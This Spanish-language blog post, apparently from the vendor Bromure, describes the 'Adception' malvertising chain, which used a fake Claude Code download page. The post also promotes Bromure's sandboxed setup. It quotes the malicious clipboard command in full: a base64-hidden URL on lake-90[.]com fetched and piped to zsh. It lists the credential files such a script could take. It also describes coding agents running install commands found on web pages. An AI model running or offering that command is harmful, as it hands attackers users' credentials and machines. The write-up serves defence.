La página mostraba el comando real
El 9 de octubre, Push Security describió un anuncio de Google para “claude mac” cuyo destino era un enlace real de bing.com. Cuatro redirecciones después, una página falsa de descarga de Claude mostraba el comando de instalación genuino de Anthropic, y su botón Copiar ponía otro en el portapapeles: una URL oculta, canalizada a zsh. Push llama a la técnica Adception. En Bromure Agentic Coding, Claude Code llega dentro de una VM mediante un paso de configuración firmado, el inicio de sesión ocurre en una máquina desechable y nadie escribe un comando de instalación en una terminal del Mac.
La página mostraba el comando de instalación de Anthropic, carácter por carácter. El botón Copiar ponía otro en el portapapeles.
Alguien en un cliente de Push Security escribió “claude mac” en Google. El
primer resultado era un enlace patrocinado, y el dominio que aparecía debajo
era bing.com. El anuncio no usaba ningún dominio parecido ni ninguna errata
en el nombre de Anthropic. La revisión de anuncios de Google había aprobado un
anuncio cuyo destino era otro buscador.
Push publicó la cadena el jueves 9 de octubre y bautizó la técnica como Adception. BleepingComputer publicó la historia esa misma tarde. Los investigadores de Push escribieron que ya habían visto resultados de búsqueda usados como redirectores, pero “nunca como destino de un anuncio de búsqueda, y no encontramos ningún informe público previo de ello”. Una marca de tiempo dentro del enlace de Bing se decodifica como 5 de octubre.
Cuatro saltos hasta un botón Copiar
El clic pasaba por cuatro paradas:
google.com/aclk, la redirección de clics en anuncios de Google.bing.com/ck/a, el propio enlace de seguimiento de clics de Bing para un resultado de búsqueda real. Redirige con una breve página JavaScript, así que el navegador llega al siguiente salto con un referrerbing.com.- La página “quiénes somos” de un comercio sudamericano real con un sitio WordPress comprometido. Solo redirige a los visitantes que llegan desde Bing con las cabeceras de navegador adecuadas.
claude-desk-code[.]com, una copia cuidada de la página de descarga de Claude, con un botón Download for macOS y una instalación de una línea en la terminal.
Cada salto comprueba de dónde viene el visitante. Si cargas la página falsa
directamente, su JavaScript lee document.referrer, no encuentra ni Google ni
Bing, y sirve /404.html. Un revisor de anuncios, un escáner o un
investigador que pegue la URL no ve nada. En palabras de Push, “la carga
maliciosa solo aparecía si llegabas al final de la cadena por esta ruta
concreta”.
La página muestra el comando que publica Anthropic:
curl -fsSL https://claude.ai/install.sh | bash
El botón Copiar pone esto en el portapapeles:
echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh
Pegada en Terminal, la primera mitad imprime una línea tranquilizadora con la
URL de Anthropic. La segunda mitad decodifica una dirección oculta en
lake-90[.]com, descarga un archivo .dat y lo canaliza a zsh. Nada llega
al disco para que se pueda escanear antes. Push vincula ocho dominios señuelo,
entre ellos cli-desktop[.]com y too.clawddddd[.]com, a un kit que sigue
con el nombre de AcSig, y señala que los dominios rotan tan rápido que “los
IoC de vida corta tienen un valor limitado”.
Por qué el señuelo es una herramienta de IA
Push clasifica Adception dentro de InstallFix, una variante de ClickFix que
describió por primera vez en marzo: guías de instalación falsas para
herramientas cuya instalación genuina es una línea de terminal. Claude Code es
el caso de manual. Su instalación documentada es un curl canalizado a un
shell, así que una página que le pide a un desarrollador pegar uno en Terminal
parece auténtica.
Push dice que las páginas ClickFix ya suponen más de la mitad de sus detecciones mensuales, y que “4 de cada 5 ataques ClickFix (incluidas las variantes InstallFix y LLMshare) que detectamos llegan a las víctimas a través de buscadores”. Los desarrolladores son la mayoría de quienes buscan “claude mac”, y el Mac de un desarrollador vale mucho para quien ejecute un script en él.
Push no recuperó la carga final, así que nadie sabe todavía qué hace este
script. Un proceso zsh lanzado desde tu Terminal se ejecuta como tú, con tu
carpeta personal:
~/.aws/credentials,~/.config/gcloud,~/.kube/config~/.ssh/id_ed25519y~/.git-credentials- el token de
ghy los tokens de publicación de npm y PyPI - los archivos
.envde cada checkout - el inicio de sesión del propio agente, si Claude Code ya estaba instalado
- perfiles de navegador, cookies y tokens de sesión
Además, la víctima cree que la instalación funcionó. Si el script instala el Claude Code real como último paso, nada parece fuera de lugar.
El consejo te carga el trabajo a ti
Las recomendaciones que siguieron al informe son la lista de siempre: escribe tú mismo la URL del fabricante, desconfía de los resultados patrocinados, lee lo que pegaste antes de pulsar Return, trata como sospechosa cualquier página de instalación que pida abrir Terminal. Todo es correcto. También le pide a un desarrollador, en plena instalación de una herramienta nueva, que lea con más atención que una página hecha para superar un vistazo. El comando en pantalla era el de Anthropic. El dominio del anuncio era el de Bing. La redirección pasaba por un comercio real. Un desarrollador cuidadoso que hubiera comprobado cada uno de esos puntos no habría encontrado nada raro.
Bromure elimina el paso del que depende el ataque: un desarrollador pegando el comando de instalación de un agente de código en una terminal del Mac que guarda sus claves.
Claude Code en un Mac, sin instalarlo en el Mac
Bromure Agentic Coding ejecuta Claude Code, Codex, Grok, Kimi Code y Oh My Pi dentro de VM Linux en tu Mac. Ninguno llega allí a través de una terminal del Mac.
La app es una imagen de disco notarizada
Bromure Agentic Coding se distribuye como un DMG firmado y notarizado desde bromure.io. Lo arrastras a Aplicaciones, y Gatekeeper lo abre sin avisos. El manual dice qué hacer con cualquier otra copia: “Si conseguiste un DMG en otro sitio que no sea bromure.io y Gatekeeper protesta, tómalo como una señal de alarma, no como algo que haya que sortear”. Después, la app se actualiza sola con Sparkle y comprueba cada actualización con la clave de firma de Bromure antes de instalarla. Toda la instalación no contiene ningún comando, así que no hay ningún botón Copiar que nadie pueda cambiar.
Los agentes llegan como pasos de configuración firmados
En el primer arranque, el asistente de configuración descarga la imagen base de Bromure, un disco Ubuntu 24.04, y comprueba su SHA-256. Después instala los agentes en tu copia de la imagen como pasos de configuración listados en un catálogo. El catálogo lleva una firma ed25519, hecha con la misma clave que firma las actualizaciones de la app, y la firma cubre cada comando de configuración. La app rechaza un catálogo sin firmar o alterado, y cualquier catálogo más antiguo que uno que ya haya aceptado.
El paso de Claude Code es una instalación con npm envuelta en el escáner de cadena de suministro de Socket.dev, ejecutada dentro de una VM auxiliar. Nadie lo pega, y un servidor de descargas manipulado no puede cambiarlo. Mientras se ejecuta, el paso del asistente muestra “Customizing the image: installing packages…”.
Cuando más adelante un agente se actualiza a sí mismo dentro de una máquina
con npm install -g, la petición atraviesa el proxy de Bromure en el Mac como
cualquier otra descarga de paquetes. El proxy aplica la política de cadena de
suministro de la máquina (antigüedad mínima, OSV, Socket.dev, Depi, lo que
hayas activado) antes de que un solo byte llegue a la VM, y registra la
descarga en la Security Timeline.
El inicio de sesión ocurre en una máquina desechable
La guía de instalación de Claude Code termina con un inicio de sesión. En Bromure se encarga el paso Models del asistente: elige el inicio de sesión de Anthropic, termina en la página del navegador que se abre y espera a Signed in to Claude. El manual describe lo que pasa por debajo: “El inicio de sesión ocurre en tu Mac, en una máquina temporal oculta; nunca ves una terminal”. La propia CLI del proveedor hace su inicio de sesión dentro de esa VM. Bromure captura los tokens en el host, los cifra y borra la VM.
El inicio de sesión se guarda en un archivo cifrado con AES-GCM bajo una clave
maestra que se conserva en el Data Protection Keychain del Mac, marcada solo
para este dispositivo y con la sincronización de iCloud desactivada. Ningún
archivo de token ~/.claude queda en tu carpeta personal para que un script
lo recoja, y cada máquina recibe su propio sustituto.
Cuando el agente sale a buscar instaladores
Adception apunta a una persona frente a un cuadro de búsqueda. Los agentes de código también buscan instrucciones de instalación, y con más frecuencia que las personas: una CLI que falta, un SDK nuevo, un linter que menciona el README. Un agente lee el HTML de la página en lugar de pulsar Copiar, pero las páginas InstallFix llevan el comando malicioso en el código fuente, y puede que la próxima campaña ni se moleste con el truco del portapapeles.
Supongamos que un agente en una máquina Bromure encuentra una página como
claude-desk-code[.]com y ejecuta su comando de una línea. Hay cuatro capas
entre ese script y tus claves.
El script se ejecuta en un invitado Linux con sustitutos
La máquina es una VM Ubuntu, y el script se ejecuta en ese invitado Linux. Su
carpeta personal contiene el checkout del proyecto y sustitutos brm_ con los
nombres de siempre: ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY.
Los valores reales siguen cifrados en el Mac, y el proxy solo los pone en el
cable para peticiones al host para el que se generó cada credencial. Un script
que recoge todos los tokens que encuentra recoge cadenas que ningún servidor
aceptará.
Un sustituto rumbo al host equivocado detiene la máquina
El proxy examina cada petición saliente, línea de petición, cabeceras y cuerpo, en busca de sustitutos que vayan a un host al que no pertenecen. Cuando el script envía su botín al servidor del atacante, el proxy responde HTTP 451, no reenvía nada, pausa la VM y abre This environment may have been compromised en el Mac, con el token, su credencial, el host al que pertenece y el host al que se envió.
El host de la carga nunca estuvo en la lista
El panel Guardrails de la máquina tiene un cortafuegos de Outbound
connections, con reglas por host, rango de IP, protocolo y puerto. Pon
Unmatched traffic en Deny, permite el proveedor del modelo, los
registros y GitHub, y el curl a lake-90[.]com nunca se conecta. El
veredicto aparece en la Security Timeline junto a la sesión que hizo la
petición.
La carpeta personal vuelve atrás
Cada arranque de una máquina crea un punto de restauración de su carpeta personal. Apaga la máquina, elige Rewind home…, selecciona el arranque de antes de que se ejecutara el script, y el siguiente inicio arranca desde esa carpeta. La carpeta actual se guarda antes como un punto nuevo, así que la vuelta atrás también se puede deshacer. Para empezar de cero, restablece la máquina a la imagen base.
Ningún comando de instalación que pegar
Bromure se distribuye como un DMG notarizado desde bromure.io y se actualiza con versiones firmadas de Sparkle. Nada en la configuración te pide abrir Terminal.
Los agentes salen de un catálogo firmado
Claude Code y los demás agentes se instalan en la imagen base mediante pasos cuyos comandos cubre una firma ed25519. Un servidor manipulado no puede cambiarlos.
Inicio de sesión en una VM desechable
El inicio de sesión del proveedor se ejecuta en una máquina temporal oculta. Los tokens se cifran en el Mac con una clave del Keychain, y cada máquina recibe un sustituto.
Una línea maliciosa acaba en una VM
Si un agente ejecuta una de todos modos, corre en Linux con sustitutos, detrás de un cortafuegos y un detector de compromiso en el Mac, y la carpeta personal vuelve atrás.
El próximo anuncio de búsqueda
Push descubrió Adception gracias al clic de un solo cliente, en un señuelo dirigido a un solo término de búsqueda. El kit AcSig tiene ocho dominios, y la misma página sirve para “codex mac”, “gemini cli install” o la herramienta que los desarrolladores busquen el mes que viene. Esta vez Google aprobó un enlace de Bing. La próxima, el anuncio puede apuntar a otro dominio en el que confíe un revisor de anuncios.
Instala el agente de código una vez, como app, y deja que se ejecute donde la configuración está firmada y las claves son sustitutos. Para saber más sobre comandos pegados y confianza prestada, lee El portapapeles es el exploit y Añadieron tu agente a la lista.